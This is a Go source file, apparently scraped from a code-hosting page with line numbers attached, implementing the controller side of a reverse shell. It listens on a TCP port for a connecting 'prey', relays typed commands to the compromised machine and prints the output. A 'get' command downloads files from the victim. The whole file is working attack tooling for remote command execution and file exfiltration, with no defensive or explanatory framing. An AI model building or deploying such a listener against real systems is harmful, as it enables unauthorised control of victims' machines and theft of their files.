/
tcprev.go
99 lines (78 loc) · 2.2 KB
/
tcprev.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
package main
import (
"bufio"
"fmt"
"io"
"net"
"os"
"strconv"
"strings"
"github.com/fatih/color"
)
// FILEREADBUFFSIZE Sets limit for reading file transfer buffer.
const FILEREADBUFFSIZE = 512
//REVPRT set server port here
const PORT = ":REVPRT"
func main() {
redc := color.New(color.FgHiRed, color.Bold)
greenc := color.New(color.FgHiGreen, color.Bold)
cyanc := color.New(color.FgCyan, color.Bold)
var recvdcmd [512]byte //stores output from reverse shell
cyanc.Println("Wait for Prey ...ZZZzzz")
listner, _ := net.Listen("tcp", PORT)
conn, _ := listner.Accept()
for {
reader := bufio.NewReader(os.Stdin)
redc.Print("[hooked]")
command, _ := reader.ReadString('\n')
if strings.Compare(command, "bye") == 0 {
conn.Write([]byte(command))
conn.Close()
os.Exit(0)
} else if strings.Index(command, "get") == 0 {
getFilewithNameandSize(conn, command)
} else {
conn.Write([]byte(command))
for {
chunkbytes, _ := conn.Read(recvdcmd[0:])
//fmt.Println(string(recvdcmd[0:n]))
//if string(recvdcmd[0:n]) == "END"
if chunkbytes < 512 {
//finaloutput = string(recvdcmd[0:chunkbytes]) + finaloutput
greenc.Println(string(recvdcmd[0:chunkbytes]))
break
} else {
greenc.Println(string(recvdcmd[0:chunkbytes]))
}
}
}
}
}
func getFilewithNameandSize(connection net.Conn, command string) {
connection.Write([]byte(command))
bufferFileName := make([]byte, 64)
bufferFileSize := make([]byte, 10)
connection.Read(bufferFileSize)
fileSize, _ := strconv.ParseInt(strings.Trim(string(bufferFileSize), ":"), 10, 64)
fmt.Println("File Size : ", fileSize)
connection.Read(bufferFileName)
fileName := strings.Trim(string(bufferFileName), ":")
fmt.Println("File Name : ", fileName)
newFile, err := os.Create(fileName)
if err != nil {
fmt.Println(err)
}
defer newFile.Close()
var receivedBytes int64
for {
if (fileSize - receivedBytes) < FILEREADBUFFSIZE {
io.CopyN(newFile, connection, (fileSize - receivedBytes))
connection.Read(make([]byte, (receivedBytes+FILEREADBUFFSIZE)-fileSize))
break
}
io.CopyN(newFile, connection, FILEREADBUFFSIZE)
receivedBytes += FILEREADBUFFSIZE
}
fmt.Println("File Download Completed ! ")
return
}